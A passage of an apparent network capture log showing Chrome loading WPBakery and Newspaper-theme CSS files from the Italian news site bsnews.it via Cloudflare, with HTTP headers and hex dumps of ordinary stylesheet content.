2024-03-28 08:51:00 UTC	16384	IN	Data Raw: 38 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 38 30 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 37 38 39 22 5d 7b 77 69 64 74 68 3a 37 38 39 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 37 38 39 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 38 30 37 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 37 39 30 22 5d 7b 77 69 64 74 68 3a 37 39 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 37 39 30 22 5d 7b 6d 69 6e Data Ascii: 8"]{min-height:806px !important}.sour-placeholder[sour-width="789"]{width:789px !important}.sour-placeholder[sour-height="789"]{min-height:807px !important}.sour-placeholder[sour-width="790"]{width:790px !important}.sour-placeholder[sour-height="790"]{min
2024-03-28 08:51:00 UTC	6217	IN	Data Raw: 33 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 39 32 31 22 5d 7b 77 69 64 74 68 3a 39 32 31 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 39 32 31 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 39 33 39 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 77 69 64 74 68 3d 22 39 32 32 22 5d 7b 77 69 64 74 68 3a 39 32 32 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 6f 75 72 2d 70 6c 61 63 65 68 6f 6c 64 65 72 5b 73 6f 75 72 2d 68 65 69 67 68 74 3d 22 39 32 32 22 5d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 39 34 30 70 78 20 21 69 Data Ascii: 38px !important}.sour-placeholder[sour-width="921"]{width:921px !important}.sour-placeholder[sour-height="921"]{min-height:939px !important}.sour-placeholder[sour-width="922"]{width:922px !important}.sour-placeholder[sour-height="922"]{min-height:940px !i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49754	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	662	OUT	GET /wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=7.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	683	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close last-modified: Sun, 25 Feb 2024 07:03:13 GMT etag: W/"65dae631-717ba" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4509 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pyu54uUbYgETAgR9aeFBNgVk74EdITdx%2B6nUtPx9sTszVYxoIHQ58plRS1YV683BeK6eMS9wCbASA4whxWeeXiHO6O3SP%2FiYwKqv3ciyytVAqOzgaio%2BUcLqcSo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660356b7459a3-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	686	IN	Data Raw: 37 64 30 38 0d 0a 2f 2a 21 0a 20 2a 20 57 50 42 61 6b 65 72 79 20 50 61 67 65 20 42 75 69 6c 64 65 72 20 76 36 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 77 70 62 61 6b 65 72 79 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 34 20 4d 69 63 68 61 65 6c 20 4d 2c 20 57 50 42 61 6b 65 72 79 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 43 6f 6d 6d 65 72 63 69 61 6c 2e 20 4d 6f 72 65 20 64 65 74 61 69 6c 73 3a 20 68 74 74 70 3a 2f 2f 67 6f 2e 77 70 62 61 6b 65 72 79 2e 63 6f 6d 2f 6c 69 63 65 6e 73 69 6e 67 0a 20 2a 2f 0a 0a 2e 76 63 5f 72 6f 77 3a 61 66 74 65 72 2c 2e 76 63 5f 72 6f 77 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 76 63 5f 72 6f 77 3a 61 66 74 65 72 7b 63 6c Data Ascii: 7d08/! WPBakery Page Builder v6.0.0 (https://wpbakery.com) * Copyright 2011-2024 Michael M, WPBakery * License: Commercial. More details: http://go.wpbakery.com/licensing */.vc_row:after,.vc_row:before{content:" ";display:table}.vc_row:after{cl
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 7d 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 32 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 37 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 7d 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 33 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 32 35 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e Data Ascii: ing-right:15px}.vc_non_responsive .vc_row .vc_col-sm-2{position:relative;float:left;width:16.66666667%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-3{position:relative;float:left;width:25%;min-height:1px;paddin
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 7d 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 31 32 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 7d 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 31 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 Data Ascii: x;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-12{position:relative;float:left;width:100%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-offset-12{margin-left:100%}.vc_non_responsive .vc_row .vc_col-s
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 67 68 74 3a 31 35 70 78 7d 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 33 5c 2f 35 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 36 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 7d 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 34 5c 2f 35 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 38 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 Data Ascii: ght:15px}.vc_non_responsive .vc_row .vc_col-sm-3\/5{position:relative;float:left;width:60%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-4\/5{position:relative;float:left;width:80%;min-height:1px;padding-left:15
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 78 73 2d 31 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 31 30 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 31 31 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 31 32 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 32 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 33 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 34 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 35 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 36 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 37 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 38 2c 2e 76 63 5f 63 6f 6c 2d 78 73 2d 39 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 31 Data Ascii: xs-1,.vc_col-xs-10,.vc_col-xs-11,.vc_col-xs-12,.vc_col-xs-2,.vc_col-xs-3,.vc_col-xs-4,.vc_col-xs-5,.vc_col-xs-6,.vc_col-xs-7,.vc_col-xs-8,.vc_col-xs-9{position:relative;min-height:1px;padding-left:15px;padding-right:15px;box-sizing:border-box}.vc_col-xs-1
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 30 30 25 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 31 7b 72 69 67 68 74 3a 39 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 31 30 7b 72 69 67 68 74 3a 38 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 39 7b 72 69 67 68 74 3a 37 35 25 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 38 7b 72 69 67 68 74 3a 36 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 37 7b 72 69 67 68 74 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 36 7b 72 69 67 68 74 3a 35 30 25 7d 2e 76 63 5f 63 6f 6c 2d 78 73 2d 70 75 6c 6c 2d 35 7b 72 69 67 68 74 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 63 5f 63 6f 6c 2d Data Ascii: 00%}.vc_col-xs-pull-11{right:91.66666667%}.vc_col-xs-pull-10{right:83.33333333%}.vc_col-xs-pull-9{right:75%}.vc_col-xs-pull-8{right:66.66666667%}.vc_col-xs-pull-7{right:58.33333333%}.vc_col-xs-pull-6{right:50%}.vc_col-xs-pull-5{right:41.66666667%}.vc_col-
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 76 63 5f 63 6f 6c 2d 6c 67 2d 31 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6c 67 2d 32 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6c 67 2d 33 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6c 67 2d 34 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6c 67 2d 35 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 31 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 32 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 33 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 34 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 6d 64 2d 35 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 31 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 32 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 33 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 34 5c 2f 35 2c 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 35 5c 2f 35 2c 2e 76 Data Ascii: argin-left:0}.vc_col-lg-1\/5,.vc_col-lg-2\/5,.vc_col-lg-3\/5,.vc_col-lg-4\/5,.vc_col-lg-5\/5,.vc_col-md-1\/5,.vc_col-md-2\/5,.vc_col-md-3\/5,.vc_col-md-4\/5,.vc_col-md-5\/5,.vc_col-sm-1\/5,.vc_col-sm-2\/5,.vc_col-sm-3\/5,.vc_col-sm-4\/5,.vc_col-sm-5\/5,.v
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 63 6f 6c 2d 78 73 2d 33 5c 2f 35 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 63 6f 6c 2d 78 73 2d 34 5c 2f 35 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 63 6f 6c 2d 78 73 2d 35 5c 2f 35 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f 6e 73 69 76 65 20 2e 76 63 5f 72 6f 77 20 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 31 5c 2f 35 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 76 63 5f 72 74 6c 2d 63 6f 6c 75 6d 6e 73 2d 72 65 76 65 72 73 65 20 2e 76 63 5f 6e 6f 6e 5f 72 65 73 70 6f Data Ascii: olumns-reverse .vc_col-xs-3\/5,[dir=rtl] .vc_rtl-columns-reverse .vc_col-xs-4\/5,[dir=rtl] .vc_rtl-columns-reverse .vc_col-xs-5\/5,[dir=rtl] .vc_rtl-columns-reverse .vc_non_responsive .vc_row .vc_col-sm-1\/5,[dir=rtl] .vc_rtl-columns-reverse .vc_non_respo
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6d 2d 31 30 7b 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 39 7b 77 69 64 74 68 3a 37 35 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 38 7b 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 37 7b 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 36 7b 77 69 64 74 68 3a 35 30 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 35 7b 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 34 7b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 33 7b 77 69 64 74 68 3a 32 35 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 32 7b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 Data Ascii: m-10{width:83.33333333%}.vc_col-sm-9{width:75%}.vc_col-sm-8{width:66.66666667%}.vc_col-sm-7{width:58.33333333%}.vc_col-sm-6{width:50%}.vc_col-sm-5{width:41.66666667%}.vc_col-sm-4{width:33.33333333%}.vc_col-sm-3{width:25%}.vc_col-sm-2{width:16.66666667%}.v
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 2d 73 6d 2d 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d 2d 6f 66 66 73 65 74 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 76 63 5f 63 6f 6c 2d 73 6d Data Ascii: -sm-offset-7{margin-left:58.33333333%}.vc_col-sm-offset-6{margin-left:50%}.vc_col-sm-offset-5{margin-left:41.66666667%}.vc_col-sm-offset-4{margin-left:33.33333333%}.vc_col-sm-offset-3{margin-left:25%}.vc_col-sm-offset-2{margin-left:16.66666667%}.vc_col-sm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49755	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	707	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/assets/css/td_legacy_main.css?ver=6217cd4d7820e3bfbc83cc495211f01b HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	720	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=169492 etag: W/"65f20638-29614" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GiR3I8ZJcusS8X1KxolxSTPf%2BHza4gMPOxxJlurrev9jmmzawDPf16KUP%2BodNKG5Ubej4WpQUS%2FH5kVEFUafrxEEkrFnEfOjSPYIou646BIgCAicDM%2BRulZvwx0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660368cac8221-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	649	IN	Data Raw: 37 63 65 33 0d 0a 2e 6d 78 5f 69 6d 61 67 65 5f 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 7d 2e 74 64 2d 76 69 73 69 62 69 6c 69 74 79 2d 68 69 64 64 65 6e 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 63 6c 65 61 72 66 69 78 7b 2a 7a 6f 6f 6d 3a 31 7d 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 74 64 2d 73 70 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 73 70 72 69 74 65 2f 65 Data Ascii: 7ce3.mx_image_background{background-color:#f2f2f2}.td-visibility-hidden{visibility:hidden}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0}.clearfix:after{clear:both}.td-sp{background-image:url(../images/sprite/e
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 73 69 74 69 6f 6e 3a 2d 32 30 70 78 20 2d 31 32 34 70 78 7d 2e 74 64 2d 73 70 2d 73 6f 75 6e 64 63 6c 6f 75 64 7b 77 69 64 74 68 3a 33 32 70 78 3b 68 65 69 67 68 74 3a 33 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 70 78 20 2d 31 37 36 70 78 7d 2e 74 64 2d 73 70 2d 69 6e 73 74 61 67 72 61 6d 7b 77 69 64 74 68 3a 33 32 70 78 3b 68 65 69 67 68 74 3a 33 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 70 78 20 2d 32 32 38 70 78 7d 2e 74 64 2d 73 70 2d 76 69 6d 65 6f 7b 77 69 64 74 68 3a 33 32 70 78 3b 68 65 69 67 68 74 3a 33 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 70 78 20 2d 33 33 32 70 78 7d 2e 74 64 2d 73 70 2d 79 6f 75 74 75 62 65 7b 77 69 64 74 Data Ascii: sition:-20px -124px}.td-sp-soundcloud{width:32px;height:32px;background-position:-20px -176px}.td-sp-instagram{width:32px;height:32px;background-position:-20px -228px}.td-sp-vimeo{width:32px;height:32px;background-position:-20px -332px}.td-sp-youtube{widt
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 70 2d 73 74 69 63 6b 79 2d 77 72 61 70 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 6f 70 2d 74 72 61 6e 73 69 74 69 6f 6e 2c 2e 74 64 2d 68 65 61 64 65 72 2d 6d 6f 62 69 6c 65 2d 73 74 69 63 6b 79 2d 77 72 61 70 2e 74 64 2d 68 65 61 64 65 72 2d 73 74 6f 70 2d 74 72 61 6e 73 69 74 69 6f 6e 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 37 70 78 29 7b 2e 61 64 6d 69 6e 2d 62 61 72 20 2e 74 64 2d 68 65 61 64 65 72 2d 64 65 73 6b 74 6f 70 2d 73 74 69 63 6b 79 2d 77 72 61 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 32 70 78 7d 7d 2e 74 64 62 2d 6d 65 67 61 2d 6d 65 6e 75 20 2e 74 64 2d 70 6f 73 74 2d 63 61 74 65 67 6f 72 79 7b 74 72 61 Data Ascii: p-sticky-wrap.td-header-stop-transition,.td-header-mobile-sticky-wrap.td-header-stop-transition{-webkit-transition:none;transition:none}@media(min-width:767px){.admin-bar .td-header-desktop-sticky-wrap{margin-top:32px}}.tdb-mega-menu .td-post-category{tra
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 6c 65 66 74 3a 2d 39 39 39 39 70 78 3b 72 69 67 68 74 3a 2d 39 39 39 39 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 6d 65 6e 75 2d 75 73 65 72 6e 61 6d 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6d 61 72 67 69 6e 3a 30 20 31 30 30 70 78 20 30 20 39 35 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 68 65 69 67 68 74 3a 36 30 70 78 7d 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 33 32 30 70 78 29 7b 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 6d 65 6e 75 2d 75 73 65 72 6e 61 6d Data Ascii: solute;margin:0 auto;left:-9999px;right:-9999px;max-width:none;width:100%;height:100%}#td-mobile-nav .td-menu-username{font-size:20px;font-weight:700;margin:0 100px 0 95px;overflow:hidden;height:60px}@media(max-width:320px){#td-mobile-nav .td-menu-usernam
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 33 70 78 3b 6f 70 61 63 69 74 79 3a 2e 33 7d 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 67 75 65 73 74 2d 77 72 61 70 20 2e 74 64 2d 6d 65 6e 75 2d 6c 6f 67 69 6e 20 61 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 20 2e 74 64 2d 72 65 67 69 73 74 65 72 2d 73 65 63 74 69 6f 6e 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 64 5f 6d 6f 62 69 6c 65 5f 74 65 78 74 5f 63 6f 6c 6f 72 2c 23 66 66 66 66 66 66 